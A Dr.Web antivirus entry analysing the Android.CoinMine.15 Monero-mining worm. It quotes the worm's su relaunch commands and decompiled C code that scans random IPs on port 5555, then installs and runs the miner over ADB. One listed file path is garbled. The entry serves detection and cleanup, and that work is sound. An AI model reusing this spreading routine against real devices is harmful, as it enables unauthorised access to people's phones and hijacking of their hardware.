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Android.CoinMine.15

Added to Dr.Web virus database:2018-02-07
Virus description was added:2018-02-12

SHA1: c4e13a96b3eb308f88b3d1e16ea65bffcfb39fb0

The main component of the worm designed to mine the Monero (XMR) cryptocurrency on an infected Android device.

To control its relaunching, droidbot executes the following command: “ps | grep droidbot”. In case the copy of droidbot has already been launched, the second process shuts down. Then application runs “/data/local/tmp/invoke.sh”, and deletes the following files:

/data/local/tmp/invoke.sh
/data/local/tmp/ddexe
/data/local//data/local/tmp/install-recovery.shtmp/debuggerd
/data/local/tmp/install-recovery.sh

Then droidbot checks whether its process has the root privileges. If not, but the “/system/bin/su” or “/system/xbin/su” utilities are located on the computer, droidbot launches its copy using su and shuts down the original process:

su -c /data/local/tmp/nohup /data/local/tmp/droidbot
/data/local/tmp/nohup /data/local/tmp/droidbot

If the process is launched with root privileges, it runs two threads: the first one tries to inject other devices, and the second one checks the “ro.product.cpu.abi” value in “/system/build.prop” in order to detect the bitness of the operating system. Depending on the result, it launches the respective version of the miner: “/data/local/tmp/xmrig64” or “/data/local/tmp/xmrig32”.

The Trojan generates a random IP address and tries to connect to the port 5555 in an infinite loop. It sends a specially generated package and checks the response. If it is successful, the Trojan tries to hack a remote device in the following way:

int __fastcall CheckAndInstall(char *szIP)
{
  char *v1; // r4
  signed int v2; // r5
  v1 = szIP;
  AdbConnect(szIP);
  if ( !AdbGetState(v1) )
  {
    puts("[+] get devices");
    v2 = AdbPsGrep(v1, "droidbot");
    if ( !(AdbCat(v1, "/data/local/tmp/botsuinit_1_1.txt") | v2) )
    {
      puts("[+] our bin is running");
      goto LABEL_5;
    }
    AdbRmRf(v1, "/data/local/tmp/");
    AdbInstall(v1, "/data/local/tmp/droidbot.apk");
    AdbAmStart(v1, "com.android.good.miner/com.example.test.MainActivity");
    AdbPush(v1, "/data/local/tmp/sss", "/data/local/tmp/");
    AdbPush(v1, "/data/local/tmp/nohup", "/data/local/tmp/");
    AdbPush(v1, "/data/local/tmp/bot.dat", "/data/local/tmp/");
    AdbChmod(v1, "/data/local/tmp/sss");
    AdbChmod(v1, "/data/local/tmp/nohup");
    AdbChmod(v1, "/data/local/tmp/bot.dat");
    AdbShell(v1, "/data/local/tmp/nohup", "/data/local/tmp/sss");
    sleep(30);
  }
  AdbDisconnect();
LABEL_5:
  pthread_cond_signal(&unk_348EC);
  return 0;
}

News about the Trojan

Curing recommendations


Android

  1. If the mobile device is operating normally, download and install Dr.Web for Android Light. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web для Android Light onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android

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